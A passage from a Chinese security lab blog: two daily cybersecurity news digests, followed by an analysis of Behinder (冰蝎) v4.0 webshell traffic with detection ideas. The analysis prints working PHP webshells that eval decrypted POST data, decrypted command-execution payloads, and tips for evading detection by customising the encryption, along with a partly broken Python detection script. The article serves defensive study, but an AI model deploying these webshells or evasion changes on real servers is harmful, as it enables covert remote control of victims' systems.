网络安全日报 2023年01月18日
1、Azure 服务 SSRF 漏洞暴露内部端点、敏感数据 https://www.securityweek.com/azure-services-ssrf-vulnerabilities-exposed-internal-endpoints-sensitive-data云安全公司 Orca 公布了影响不同 Azure 服务的四个服务器端请求伪造 (SSRF) 漏洞的详细信息,其中包括两个无需身份验证即可利用的漏洞。Orca 解释说,SSRF 缺陷通常允许攻击者访问主机的 IMDS(云实例元数据服务),使他们能够查看主机名、MAC 地址和安全组等信息。此外,可以利用此类安全缺陷来检索令牌、远程执行代码以及移动到另一台主机。 2、攻击者可以滥用 GitHub Codespaces 进行恶意软件交付 https://www.securityweek.com/attackers-can-abuse-github-codespaces-malware-delivery据趋势科技报道,旨在帮助代码开发和协作的GitHub Codespaces功能可能被利用于恶意软件的传播。GitHub Codespaces是一个免费的基于云的集成开发环境,允许开发人员通过运行在虚拟机中的基于容器的环境在浏览器中创建、编辑和运行代码。GitHub Codespaces提供的功能之一允许开发人员共享来自VM的转发端口,无论是私有的还是公开的,以实现实时协作的目的。私有端口只能通过其URL访问,而拥有URL的任何人都 3、针对海事软件供应商 DNV 的勒索软件攻击影响1,000 多艘船舶 大约 1,000 艘船只受到针对主要海事软件供应商之一 DNV的勒索软件攻击的影响。勒索软件攻击发生在 1 月 7 日晚上,为了应对这一事件,该公司关闭了连接到该公司运营的 ShipManager 系统的 IT 服务器。DNV 报告称,没有迹象表明其任何其他软件或数据受到安全事件的影响。 4、Zoho ManageEngine敦促用户在漏洞PoC发布前打补丁 Zoho ManageEngine中未授权远程代码执行漏洞CVE-2022-47966的PoC利用代码即将发布,它会影响多个在 ManageEngine 设置中启用了 SAML SSO 的 Zoho 产品。该问题还会影响过去启用该功能的产品。问题的根本原因是ManageEngine产品使用了过时的第三方依赖Apache Santuario。Horizon3 Attack Team 的研究人员上周宣布开发了一个 PoC 漏洞利用代码,他们计划很快发布该漏洞的技术细节。 5、Rhadamanthys Stealer 通过垃圾邮件和谷歌广告传播 https://cyware.com/news/rhadamanthys-stealer-spreads-via-spam-emails-and-google-ads-badb99e9网络犯罪分子越来越多地使用网络钓鱼网站和垃圾邮件来欺骗用户下载窃取程序和 RAT。最近,新的 Rhadamanthys Stealer 通过谷歌广告将受害者引诱到模仿流行软件的网络钓鱼站点。安全公司Cyble已经在 MaaS 模型下主动观察到这种新的威胁。Rhadamanthys 通过 Google Ads 传播,将目标用户重定向到模仿 AnyDesk、Zoom、Bluestacks 和 Notepad++ 等知 6、恶意“Lolip0p”PyPi 软件包安装信息窃取恶意软件 https://www.bleepingcomputer.com/news/security/malicious-lolip0p-pypi-packages-install-info-stealing-malware威胁行为者已将三个恶意包上传到 PyPI(Python 包索引)存储库,这些包携带代码以在开发人员的系统上放置信息窃取恶意软件。Fortinet发现的恶意包均由同一作者在 2023 年 1 月 7 日至 12 日期间上传,名为“Lolip0p”。它们的名称是“colorslib”、“httpslib”和“libhttps”。这三个都已被报告并从 PyPI 中删除。PyPI 是使用最 7、研究人员发现T95 Android电视盒预装了复杂的恶意软件 https://securityaffairs.com/140866/security/t95-android-tv-box-malware.html安全研究员Daniel Milisic发现他在亚马逊上购买的T95 Android电视盒预装了复杂的预装恶意软件。这款安卓电视盒在亚马逊和全球速卖通上有售,价格低至40美元。这款设备配备了Android 10(可以运行Play商店)和Allwinner H616处理器。Milisic在固件中发现了预先安装了的恶意软件。Milisic购买了T95 Android电视盒来运行Pi-hole,这是一个Linux网络级广告和互联网跟踪拦截应用程序。在运行 8、Raccoon和Vidar信息窃取恶意软件通过假冒的破解软件网站传播 https://thehackernews.com/2023/01/raccoon-and-vidar-stealers-spreading.html自2020年初以来,一个由250多个域名组成的“大型且有弹性的基础设施”被用于分发Raccoon和Vidar等信息窃取恶意软件。网络安全公司SEKOIA在本月早些时候发表的一份分析报告中说,这个感染链使用了大约100个被破解的假软件目录网站,这些网站在下载GitHub等文件共享平台上托管的有效载荷之前,会重定向到几个链接。这家法国网络安全公司评估称,这些域名是由一个运行流量导向系统(TDS)的攻击者操作的,该系统允许其他网络犯罪分子租用服务来分发 9、Vice Society勒索软件团伙泄露了杜伊斯堡-埃森大学的数据 https://www.bleepingcomputer.com/news/security/vice-society-ransomware-leaks-university-of-duisburg-essen-s-data/Vice Society勒索软件团伙声称对2022年11月杜伊斯堡-埃森大学(UDE)遭受的网络攻击负责,该攻击迫使该大学重建其IT基础设施,这一过程仍在进行中。攻击者还泄露了他们声称在网络入侵期间从该大学窃取的文件,暴露了有关该大学运营、学生和人员的潜在敏感细节。UDE已经证实,他们知道攻击者公布了被盗数据,并表示他们不会支付赎金。 10、数以百计的 SugarCRM 服务器被感染恶意程序 https://www.anquanke.com/post/id/285513过去两周,黑客利用 SugarCRM 系统的一个高危漏洞传播恶意程序控制服务器。漏洞是在 2022 年 12 月爆出的,当时没有补丁属于 0day,公开漏洞的人还发布了漏洞利用代码,称它是一个身份验证绕过加远程代码执行漏洞,这意味着攻击者不需要身份凭证就可以在存在漏洞的服务器上远程运行恶意代码。 免责声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
蚁景科技2023年春节放假通知
尊敬的客户伙伴: 2023年新春佳节来临,蚁景科技将于2023年1月21日至1月27日放假,共计7天,1月28日复工;春节假期期间蚁景网安实验室将正常运营,若您遇到紧急事项,可联系4006-123-731进行反馈。 感谢客户伙伴一直以来对我们的支持与厚爱, 新的一年,我们将全力以赴,继续为客户伙伴提供更优质的服务!祝愿大家新年快乐、兔年大吉、万事如意!
网络安全日报 2023年01月17日
1、InHand 工业路由器漏洞使内部 OT 网络遭受攻击 https://www.securityweek.com/inhand-industrial-router-vulnerabilities-expose-internal-ot-networks-attacks影响 InHand Networks 制造的工业路由器的一系列漏洞可能允许黑客绕过安全系统并从互联网访问内部运营技术 (OT) 网络。美国网络安全和基础设施安全局 (CISA) 上周发布了一份公告,向各组织通报工业网络安全公司 Otorio 的一名研究人员在 InHand 的 InRouter302 和 InRouter615 蜂窝路由器中发现的五个漏洞。供应商已发布应修补这些漏洞的固件 2、"破解五角大楼 3.0" 漏洞赏金计划以专注于设施控制系统 https://www.securityweek.com/hack-pentagon-30-bug-bounty-program-focus-facility-control-systems美国国防部 (DoD) 正准备启动其“入侵五角大楼”漏洞赏金计划的第三期,该计划将重点关注设施相关控制系统 (FRCS) 网络。"入侵五角大楼"于 2016 年在 HackerOne 上推出,当时国防部邀请道德黑客在五角大楼的公共网页中发现并报告安全缺陷。2018 年,美国国防部宣布在 Bugcrowd 上运行为期一年的连续黑客五角大楼计划,目标是硬件和物理系统以及其他高价值资产中的漏洞。 3、CircleCI 被员工电脑上遭恶意软件入侵导致公司数据泄露 https://www.securityweek.com/circleci-hacked-malware-employee-laptop软件开发服务公司 CircleCI 透露,最近披露的一起数据泄露事件是由于在工程师的笔记本电脑上部署了信息窃取恶意软件造成的。2023 年 1 月 4 日,CircleCI 获悉,12 月 16 日部署在工程师笔记本电脑上的恶意软件被用来窃取支持 2FA 的 SSO 会话,从而使攻击者能够访问公司的内部系统。 4、 Avast 发布了 BianLian 勒索软件系列的免费解密器 https://securityaffairs.com/140892/malware/free-bianlian-ransomware-decryptor.html网络安全公司 Avast 发布了BianLian勒索软件的免费解密器,允许恶意软件的受害者恢复锁定的文件。BianLian 勒索软件出现于 2022 年 8 月,该恶意软件用于攻击各行各业的组织,包括制造、媒体和娱乐以及医疗保健。 5、研究人员发现了一个从 CIA 的 Hive 恶意软件中借用代码的后门 https://securityaffairs.com/140878/malware/cia-hive-malware-detected.html奇虎 Netlab 360 的研究人员报告说,身份不明的威胁行为者使用基于美国中央情报局的 Project Hive恶意软件套件的新后门。Hive于2017年4月被维基解密披露,是为各种 CIA 恶意软件提供了一个隐蔽的通信平台,可以将泄露的信息发送到 CIA 服务器并接收来自 CIA 操作员的新指令。 6、Meta起诉抓取服务提供商Voyager Labs并关闭了6万个账户 https://www.govinfosecurity.com/meta-sues-scraping-for-hire-provider-closes-60000-accounts-a-20932Meta在加利福尼亚州的一家联邦法院起诉了旅行者实验室Voyager Labs,后者是一家数据搜集和监控服务公司,据称于2020年从Facebook收集数据。Meta称,Voyager Labs在用户登录Facebook时窃取了用户的可访问数据,包括用户的个人资料信息、帖子、好友列表、照片和评论。Meta在一份声明中说:“我们禁用了Voyager的账户,提起诉讼来执行我们的条款和政策,并要求法院禁止V 7、工业勒索来袭,GhostSec黑客组织宣称首次加密了RTU设备 https://www.secrss.com/articles/51063匿名者组织旗下的GhostSec黑客组织声称它对RTU(远程终端单元)进行了“有史以来第一次”勒索软件攻击,RTU是一种通常部署在工业控制系统 (ICS) 环境中的小型设备。 8、工业和信息化部等十六部门关于促进数据安全产业发展的指导意见 https://www.freebuf.com/news/355323.html数据安全产业是为保障数据持续处于有效保护、合法利用、有序流动状态提供技术、产品和服务的新兴业态。为贯彻落实《中华人民共和国数据安全法》,推动数据安全产业高质量发展,提高各行业各领域数据安全保障能力,加速数据要素市场培育和价值释放,夯实数字中国建设和数字经济发展基础,工业和信息化部、国家网信办等16部门近日联合印发《关于促进数据安全产业发展的指导意见》(以下简称《指导意见》)。 9、Chromium 开始支持使用 Rust 语言 https://security.googleblog.com/2023/01/supporting-use-of-rust-in-chromium.htmlGoogle 安全博客宣布,Chromium 项目开始支持使用 Rust 语言。Rust 是一种高性能、内存安全语言,而软件项目发现的大部分漏洞都属于内存安全 bug。 10、NortonLifeLock 警告称黑客入侵了 Password Manager 帐户 https://www.bleepingcomputer.com/news/security/nortonlifelock-warns-that-hackers-breached-password-manager-accounts/Gen Digital(前身为赛门铁克公司和诺顿LifeLock)正在向客户发送数据泄露通知,告知他们黑客已在凭据填充攻击中成功侵入 Norton Password Manager 帐户。 免责声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
冰蝎V4.0流量分析到攻防检测
0x01 前言 最近在改写 yso,觉得自己基础太差了,想先阅读一下 sqlmap、冰蝎以及一些其他工具的开发思路。文章可能写的不够严谨,有不对的地方还请师傅们多多指出。 0x02 环境搭建 这里我看的是 MountCloud 师傅所二开的冰蝎项目,版本是 4.0.2;其实就是通过反编译搞出来的,但是这里不要用 jd-gui 或者 jadx 这些反编译,我用的是 MountCloud 师傅自己写的反编译工具,地址:https://github.com/MountCloud/JavaDecompileTool-GUI 冰蝎项目源码地址:https://github.com/MountCloud/BehinderClientSource 拿到之后用 maven package 打包一下,运行 jar 包即可,同时要将 data.db 放到 jar 包同一目录下。 0x03 冰蝎的使用与流量分析 冰蝎的使用 我们看冰蝎的客户端界面,对于 shell 其实是没有输入密码模块的,其实在冰蝎当中 shell 是通过传输协议配置的。 这一传输协议的加密函数是用 Java 写的,并且 key 是默认的,不需要自己修改,我们点击生成服务端,则会生成三个 shell 文件,分别为 .php、.aspx 和 .jsp,这里我们起个环境然后连 shell(这里我是用虚拟机的环境,因为一开始用本机起一直 wireshark 抓不到流量,如果踩坑的师傅也欢迎私信和我交流) 我们可以看一下 shell.php(先对 xor_base64 的传输协议进行分析,后续分析 xor_base64 这种加密方式的攻防性),代码如下,此处代码和 v3.0 的相当不一样。 v4.0 的代码 <?php @error_reporting(0); function decrypt($data) {    $key="25f9e794323b4538";    $bs="base64_"."decode"; $after=$bs($data.""); for($i=0;$i<strlen($after);$i++) {   $after[$i] = $after[$i]^$key[$i+1&15];   }    return $after; } $post=Decrypt(file_get_contents("php://input"));    eval($post); ?> 这里的 key 就是对应的连接密码,当然在冰蝎“传输协议”当中,可以自定义密码。 v3.0 的代码 <?php @error_reporting(0); session_start();    $key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond $_SESSION['k']=$key; session_write_close(); $post=file_get_contents("php://input"); if(!extension_loaded('openssl')) { $t="base64_"."decode"; $post=$t($post.""); for($i=0;$i<strlen($post);$i++) {   $post[$i] = $post[$i]^$key[$i+1&15];   } } else { $post=openssl_decrypt($post, "AES128", $key); }    $arr=explode('|',$post);    $func=$arr[0];    $params=$arr[1]; class C{public function __invoke($p) {eval($p."");}}    @call_user_func(new C(),$params); ?> v3.0 和 v4.0 的区别很明显在于这里 $_SESSION['k']=$key,v3.0 版本当中会把 key 作为 session 传入;接着判断 extension_loaded,也就是判断服务端是否存在 openssl 拓展,如果不存在就用 base64 解码,然后使用 key 进行异或加密,这也是冰蝎 v4.0 版本当中的 xor_base64 加密方式;如果服务端能够加载 openssl 拓展,就使用 AES128 解密,这里对应冰蝎 v4.0 版本当中的 aes 加密方式。 冰蝎流量分析 看了网上一堆分析的文章,都在说冰蝎的通信过程可以分为两个阶段:密钥协商和加密传输 第一阶段-密钥协商 1.攻击者通过 GET 或者 POST 方法,形如 http://127.0.0.1/shell.php?pass=645 的请求服务器密钥; 2.服务器使用随机数 MD5 的高16位作为密钥,存储到会话的 $_SESSION 变量中,并返回密钥给攻击者。 第二阶段-加密传输 1)客户端把待执行命令作为输入,利用 AES 算法或 XOR 运算进行加密,并发送至服务端; 2)服务端接受密文后进行 AES 或 XOR 运算解密,执行相应的命令; 3)执行结果通过 AES 加密后返回给攻击者。 但是我自己在分析的过程中并没有看到这个密钥协商的过程,同时也没有看到 $_SESSION 变量当中存储了 md5 的高 16 位,反而 $_SESSION 变量存储的是一个 26 位的字符。不知道这里是我的问题还是冰蝎 4.0 版本就是如此。 我先选取的是 xor_base64 的加密方式,我在连上马之后还执行了 whoami 命令,如果不算上自己的命令执行,一共是两组流量,我们来分析一下。 第一段代码,经过 xor_base64 的解密,得到如下代码 @error_reporting(0); function main($content) {    $result = array();    $result["status"] = base64_encode("success");    $result["msg"] = base64_encode($content);    @session_start();        echo encrypt(json_encode($result)); } function encrypt($data) {        $key="25f9e794323b4538";    for($i=0;$i<strlen($data);$i++) {        $data[$i] = $data[$i]^$key[$i+1&15];       }        $bs="base64_"."encode";    $after=$bs($data."");        return $after; } $content="WWtpektNWU1PREpybFB6VlQwdXY1T2JoMkNsMzVmZmVPZ0pDQnZaZElKejhVaGc1ZU42NnlCYWI3YVVqakJ4U3BRcnpneEdJT3pmclR5QWFVQ2Nqa2pTVm1OTU9LNzlrNHhzRjJjd2F2OTF2WFRITG9KdWpmMHpFeU9lTmFWRmdYQUdPT0loaHJKM0JSMkZNaUo5VjZwWGtwb2xQUWNyWGY1UzBuV05SYkE5eHFacmZUM3B4UG1jR3l2RTcxUUtCSkhMa0NJdms5NzdYM2FmZWFmazd4bkpHYl $content=base64_decode($content); main($content); 我个人倾向于是认为冰蝎 V4.0 版本当中,这一个包涵盖了密钥协商的部分,并且在这一个包之后重置了 $_session,而 msg 和第一个包里的 content 是相同的,所以我认为这一部分其实也在做密钥协商(后来看了冰蝎作者的文章,果然如此) 接着我们往下看相应报文,相应报文经过 xor_base64 解密之后结果如下 { "status":"c3VjY2Vzcw==", "msg":"WWtpektNWU1PREpybFB6VlQwdXY1T2JoMkNsMzVmZmVPZ0pDQnZaZElKejhVaGc1ZU42NnlCYWI3YVVqakJ4U3BRcnpneEdJT3pmclR5QWFVQ2Nqa2pTVm1OTU9LNzlrNHhzRjJjd2F2OTF2WFRITG9KdWpmMHpFeU9lTmFWRmdYQUdPT0loaHJKM0JSMkZNaUo5VjZwWGtwb2xQUWNyWGY1UzBuV05SYkE5eHFacmZUM3B4UG1jR3l2RTcxUUtCSkhMa0NJdms5NzdYM2FmZWFmazd4bkpHYlc0M } 经过 base64 解密,status 对应的是 success,证明能够收到这个包,并且和前面对照上。 继续分析下一个包,代码如下,这里就进行了命令执行 error_reporting(0); function main($whatever) {        $result = array();        ob_start();    phpinfo();    $info = ob_get_contents();    ob_end_clean();        $driveList ="";        if (stristr(PHP_OS,"windows")||stristr(PHP_OS,"winnt")){                for($i=65;$i<=90;$i++) {                $drive=chr($i).':/';                file_exists($drive) ? $driveList=$driveList.$drive.";":'';           }       } else {        $driveList="/";   }        $currentPath=getcwd();        //echo "phpinfo=".$info."\n"."currentPath=".$currentPath."\n"."driveList=".$driveList;    $osInfo=PHP_OS;        $arch="64";        if (PHP_INT_SIZE == 4) {        $arch = "32";       }        $localIp=gethostbyname(gethostname());        if ($localIp!=$_SERVER['SERVER_ADDR']) {                $localIp=$localIp." ".$_SERVER['SERVER_ADDR'];       }        $extraIps=getInnerIP();        foreach($extraIps as $ip) {                if (strpos($localIp,$ip)===false) {                    $localIp=$localIp." ".$ip;               }       }        $basicInfoObj=array(        "basicInfo"=>base64_encode($info),        "driveList"=>base64_encode($driveList),        "currentPath"=>base64_encode($currentPath),        "osInfo"=>base64_encode($osInfo),        "arch"=>base64_encode($arch),        "localIp"=>base64_encode($localIp));            //echo json_encode($result);            $result["status"] = base64_encode("success");            $result["msg"] = base64_encode(json_encode($basicInfoObj));            //echo json_encode($result);            //echo openssl_encrypt(json_encode($result), "AES128", $key);            echo encrypt(json_encode($result));   }    function getInnerIP()   {        $result = array();        if (is_callable("exec"))       {                $result = array();                exec('arp -a',$sa);                foreach($sa as $s)               {                        if (strpos($s,'---')!==false) {                    $parts=explode(' ',$s);                    $ip=$parts[1];                    array_push($result,$ip);               }                //var_dump(explode(' ',$s));                          // array_push($result,explode(' ',$s)[1]);               }       }        return $result;   }    function encrypt($data)   {            $key="25f9e794323b4538";        for($i=0;$i<strlen($data);$i++) {                $data[$i] = $data[$i]^$key[$i+1&15];           }            $bs="base64_"."encode";        $after=$bs($data."");            return $after;   }    $whatever="RWN4cTE4VFlUNGRVUWhaalZ5UW1Kamw4R2RTZlJIalhlRFg2djR3Y1RLVFhhWnQxaFhES3ZBMW9QYjlPWmlGNlEyNUNVcXVkV2J4Q0dTUG5YZ3B2RjRDVWlGbGwxNVk2d3RMWUhnbjRVWWRETDdVbHNoWjNrZmNCNlUzNWNRRW5hU1g1RFNQSDI1Snpmc2ZqRzJBQWJyaDZMUDVxMWZuMm1JVzIxTklWR0JraTViUE1XTnBnVG5wVFJ5cEpsQmdCTlJmSW1WYzIzRERmVlRoeDBpQ1pLc $whatever=base64_decode($whatever); main($whatever); 这里我不太明白传入的 $whatever 是做什么的,感觉没什么用,这个脚本本质上还是在运行 phpinfo() 的命令执行。 把相应包解密出来,内容如下 { "status":"c3VjY2Vzcw==", "msg":"xxx略,篇幅太长" } 把这一串 msg 内容放到 base64 解密,不难发现响应内容其实就是 phpinfo() 的命令回显。 至于后面的命令执行部分,是比较好分析的 把流量包提取出来,进行解密 @error_reporting(0); function getSafeStr($str){    $s1 = iconv('utf-8','gbk//IGNORE',$str);    $s0 = iconv('gbk','utf-8//IGNORE',$s1);    if($s0 == $str){        return $s0;   }else{        return iconv('gbk','utf-8//IGNORE',$str);   } } function main($cmd,$path) {    @set_time_limit(0);    @ignore_user_abort(1);    @ini_set('max_execution_time', 0);    $result = array();    $PadtJn = @ini_get('disable_functions');    if (! empty($PadtJn)) {        $PadtJn = preg_replace('/[, ]+/', ',', $PadtJn);        $PadtJn = explode(',', $PadtJn);        $PadtJn = array_map('trim', $PadtJn);   } else {        $PadtJn = array();   }    $c = $cmd;    if (FALSE !== strpos(strtolower(PHP_OS), 'win')) {        $c = $c . " 2>&1\n";   }    $JueQDBH = 'is_callable';    $Bvce = 'in_array';    if ($JueQDBH('system') and ! $Bvce('system', $PadtJn)) {        ob_start();        system($c);        $kWJW = ob_get_contents();        ob_end_clean();   } else if ($JueQDBH('proc_open') and ! $Bvce('proc_open', $PadtJn)) {        $handle = proc_open($c, array(            array(                'pipe',                'r'           ),            array(                'pipe',                'w'           ),            array(                'pipe',                'w'           )       ), $pipes);        $kWJW = NULL;        while (! feof($pipes[1])) {            $kWJW .= fread($pipes[1], 1024);       }        @proc_close($handle);   } else if ($JueQDBH('passthru') and ! $Bvce('passthru', $PadtJn)) {        ob_start();        passthru($c);        $kWJW = ob_get_contents();        ob_end_clean();   } else if ($JueQDBH('shell_exec') and ! $Bvce('shell_exec', $PadtJn)) {        $kWJW = shell_exec($c);   } else if ($JueQDBH('exec') and ! $Bvce('exec', $PadtJn)) {        $kWJW = array();        exec($c, $kWJW);        $kWJW = join(chr(10), $kWJW) . chr(10);   } else if ($JueQDBH('exec') and ! $Bvce('popen', $PadtJn)) {        $fp = popen($c, 'r');        $kWJW = NULL;        if (is_resource($fp)) {            while (! feof($fp)) {                $kWJW .= fread($fp, 1024);           }       }        @pclose($fp);   } else {        $kWJW = 0;        $result["status"] = base64_encode("fail");        $result["msg"] = base64_encode("none of proc_open/passthru/shell_exec/exec/exec is available");        $key = $_SESSION['k'];        echo encrypt(json_encode($result));        return;   }    $result["status"] = base64_encode("success");    $result["msg"] = base64_encode(getSafeStr($kWJW));    echo encrypt(json_encode($result)); } function encrypt($data) {    $key="25f9e794323b4538";        for($i=0;$i<strlen($data);$i++) {        $data[$i] = $data[$i]^$key[$i+1&15];   }    $bs="base64_"."encode";        $after=$bs($data."");    return $after; } $cmd="Y2QgL2QgIkM6XHBocHN0dWR5X3Byb1xXV1dcZGlhZ25vc3RpY18wXGRpYWdub3N0aWNcYXNzZXRzXHVwbG9hZEltYWdlXExvZ29cIiZ3aG9hbWk="; $cmd=base64_decode($cmd); $path="QzovcGhwc3R1ZHlfcHJvL1dXVy9kaWFnbm9zdGljXzAvZGlhZ25vc3RpYy9hc3NldHMvdXBsb2FkSW1hZ2UvTG9nby8="; $path=base64_decode($path); main($cmd,$path); $cmd 对应的是 cd /d "C:\phpstudy_pro\WWW\diagnostic_0\diagnostic\assets\uploadImage\Logo\"&whoami $path 对应的是 C:/phpstudy_pro/WWW/diagnostic_0/diagnostic/assets/uploadImage/Logo/ 对应回显是 {"status":"c3VjY2Vzcw==","msg":"ZGVza3RvcC1xbWNzOWdvXGRydW5rYmFieQ0K"} 一些疑问和改进点 简单来说,如果作为蓝队,需要严格分析的是第三个流量包,也就是命令执行的流量包,这也最容易分析。在学习阶段我也思考了具体的几个点 1、连马是如何连上的,看起来 shell.php 需要我们 post 传入 $data,这一步在流量分析中并没有抓到。 2、针对 aes,xor_base64 进行加密的防御型脚本检测。 3、冰蝎的改写,是否可以采用新型加密方式。 0x04 冰蝎传输与攻防 冰蝎传输与连马&命令执行 一开始这里我也不太理解,后面在看了冰蝎作者的文章之后恍然大悟,原文链接 —— https://mp.weixin.qq.com/s/EwY8if6ed_hZ3nQBiC3o7A 冰蝎 v4.0 版本不再有连接密码的概念,你的自定义传输协议的算法就是连接密码。按照冰蝎 3.0 版本当中的密码依旧是 "rebeyond",但是冰蝎 v4.0 的马使用蚁剑,以 "rebeyond" 作为密码是连不上的(亲测 在流量层,冰蝎的 aes 特征一直是厂商查杀的重点,在主机层,aes 相关的 API 也是一个强特征。既然是特征,那就一定存在一个一成不变的常量,那我们就把这个特征泛化一下,让他成为变量。为了一劳永逸解决这个问题,v4.0 版本提供了传输协议自定义功能,让用户对流量的加密和解密进行自定义,实现流量加解密协议的去中心化。 首先看一下冰蝎Payload流转的流程图: 可以分为这五个流程 1、本地对 Payload 进行加密,然后通过 POST 请求发送给远程服务端; 2、服务端收到 Payload 密文后,利用解密算法进行解密; 3、服务端执行解密后的 Payload,并获取执行结果; 这三步的基础是 shell.php,通过 post 请求传 body <?php @error_reporting(0); function decrypt($data) {    $key="25f9e794323b4538";    $bs="base64_"."decode"; $after=$bs($data.""); for($i=0;$i<strlen($after);$i++) {   $after[$i] = $after[$i]^$key[$i+1&15];   }    return $after; } $post=Decrypt(file_get_contents("php://input"));    eval($post); ?> 在第一次传输的时候,做了密钥协商与指纹确认的事情,冰蝎需要先确定你(受攻击端)确实是能够和我(本地攻击者)进行加解密,或者说可以进行数据传输,这也就是第一次发包。 对应的代码如下,这是冰蝎当中 payload/php 下的代码 ———— Echo.php 在实际传输过程中会发现冰蝎发包时多了一个 encrypt() 函数,我后续会对这一现象进行解释。 @error_reporting(0); function main($content) {    $result = array();    $result["status"] = base64_encode("success");    $result["msg"] = base64_encode($content);    @session_start();    //初始化session,避免connect之后直接background,后续get result无法获取cookie    echo encrypt(json_encode($result)); } function encrypt($data) {        $key="25f9e794323b4538";    for($i=0;$i<strlen($data);$i++) {        $data[$i] = $data[$i]^$key[$i+1&15];       }        $bs="base64_"."encode";    $after=$bs($data."");        return $after; } $content="WWtpektNWU1PREpybFB6VlQwdXY1T2JoMkNsMzVmZmVPZ0pDQnZaZElKejhVaGc1ZU42NnlCYWI3YVVqakJ4U3BRcnpneEdJT3pmclR5QWFVQ2Nqa2pTVm1OTU9LNzlrNHhzRjJjd2F2OTF2WFRITG9KdWpmMHpFeU9lTmFWRmdYQUdPT0loaHJKM0JSMkZNaUo5VjZwWGtwb2xQUWNyWGY1UzBuV05SYkE5eHFacmZUM3B4UG1jR3l2RTcxUUtCSkhMa0NJdms5NzdYM2FmZWFmazd4bkpHYl $content=base64_decode($content); main($content); 在这一次内容传输结束之后,冰蝎确认被攻击端与本地可以建立传输,才会发第二次包,也就是执行 phpinfo() 命令,代码略。 接着 4、服务端对 Payload 执行结果进行加密,然后返回给本地客户端; 5、客户端收到响应密文后,利用解密算法解密,得到响应内容明文。 响应内容略,在上文中已经提到过。 由上述流程可知,一个完整的传输协议由两部分组成,本地协议和远程协议。由于客户端使用 Java 开发,因此本地协议的加解密算法需要用 Java 实现。远程协议根据服务端语言类型,可能为 Java、PHP、C#、ASP。无论用哪种语言,同一个名称的传输协议,本地和远程的加解密逻辑应该是一致的,这样才能实现本地加密后,远程可以成功解密,远程加密后,本地同样也可以解密。 如下是一个最简单的 php 版本的传输协议: 传输协议的加解密函数名称分别为 Encrypt 和 Decrypt,且都只有一个入参,参数类型为二进制字节流。这也就是为什么在 shell.php 中存在一个 Decrypt() 函数,且每一次的发包中有 encrypt() 函数的原因。如此一来就实现了这一个条件 ———— 本地有一对加解密的函数,由 Java 编写;远程端(受攻击端)存在一对加解密的函数,由对应远程端的语言决定,如果是 php 就是由 php 编写,若是 asp 就由 asp 编写(亲测如此) 针对冰蝎 xor_base64 的检测脚本编写 内容是基于 LiRiu 师傅的文章写的 我认为的脚本编写,不应该是针对某个 User-Agent 或者是 Payload 开头等进行单一的判断,为了很多正常请求的通过,这些判断一定是需要综合考虑的。 因此合理的方式应该是记分的,判断恶意性的大小。我们先来看冰蝎在第二次连接的时候,也就是请求 phpinfo() 时的包 针对一些 HTTP 头的检测 HTTP 请求头 它的几个 Accept 头通常是固定的,所以这里可以作为一个主判断点 Accept: application/json, text/javascript, */*; q=0.01 Accept-Encoding: identity Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7 有的师傅说冰蝎 4.0 当中的 UA 是十选一的,我觉得这里占比相当小,并不需要将 UA 加入进判断规则当中。 Content-Length 较大 Content-Length: 8244 可以作为辅助特征进行检测。 冰蝎通讯默认使用长连接 造成的影响是包中存在如下 HTTP 头,可以作为辅助特征进行检测。 Connection: Keep-Alive 端口检测 冰蝎与 webshell 建立连接的同时,javaw 也与目的主机建立 tcp 连接,每次连接使用本地端口在 49700 左右,每连接一次,每建立一次新的连接,端口就依次增加。此处可以对符合该范围内的端口告警。 针对恶意脚本内容的检测 冰蝎 shell 当中的恶意 php 脚本,头都是一样的,以 @error_reporting 开头 @error_reporting(0);   function main 所以对于这一段,个人认为是可以作为主要检测规则的,所以此处需要先写一个 xor_base64,单纯检测恶意脚本的 python 程序如下 from base64 import b64decode phrases = [    "assert|eval(base64_decode('".encode(),    b'<?\n@error_reporting(0);\n\nfunctio',    b'<?\nfunction main($action, $remot',    b'<?\n@error_reporting(0);\nset_time',    b'\nerror_reporting(0);\n\nfunction m',    b'<?\n@error_reporting(0);\n\n\nfuncti',    b'<?\nerror_reporting(0);\nfunction ',    b'@error_reporting(0);\nfunction ma',    b'<?php\n\n$taskResult = array();\n$p',    b"<?\nerror_reporting(0);\nheader('C",    b'@error_reporting(0);\n\nfunction g',    b'<?\n@error_reporting(0);\n@set_tim', ] def xor(l0, l1):    ret = [chr(ord(chr(a)) ^ ord(chr(b))) for a,b in zip(l0,l1)]    return "".join(ret)         def check(cipher):    cipher = b64decode(cipher)    for phrase in phrases:        p0 = phrase[0:16]        p1 = phrase[16:]                c0 = cipher[0:16]        c1 = cipher[16:16+len(p1)]        k0 = xor(p0, c0)        k1 = xor(p1, c1)        if k1 in k0:            return k0    return None cipher = "..." HeaderData = "..." key = check(cipher) if key:    print("[+]", cipher[:32], "is XOR Behinder Request!")    print("[+] The Key of Behinder is ", key) else:    print("[-]", cipher[:32], "not Behinder Request..") 接着加上辅助判断 def auxiliaryPoints(HeaderData):      # 辅助判断的函数    evilPoint = 0    list = []    LightBlacklist = [        b'Accept: application/json, text/javascript, */*; q=0.01',        b'Accept-Encoding: identity',        b'Connection: Keep-Alive',   ]    for temp in HeaderData:        list.append(temp)    lenData = 0    while lenData <= HeaderData.length():        if(list[lenData].contains(LightBlacklist)):            evilPoint = evilPoint + 10    return evilPoint LiRiu 师傅的可以,但是我自己的包失败了。。 冰蝎马的改写与绕过 tips 冰蝎作者提出了一种非常巧妙的绕过方式,也就是在 AES 加密的时候增加一个小尾巴,这个尾巴存在自定义的可能性,也就让很多设备难以进行检测了。 加密算法 本地默认的 aes 传输协议加密算法如下:    private byte[] Encrypt(byte[] data) throws Exception   {        String key="e45e329feb5d925b";        byte[] raw = key.getBytes("utf-8");        javax.crypto.spec.SecretKeySpec skeySpec = new javax.crypto.spec.SecretKeySpec(raw, "AES");        javax.crypto.Cipher cipher =javax.crypto.Cipher.getInstance("AES/ECB/PKCS5Padding");// 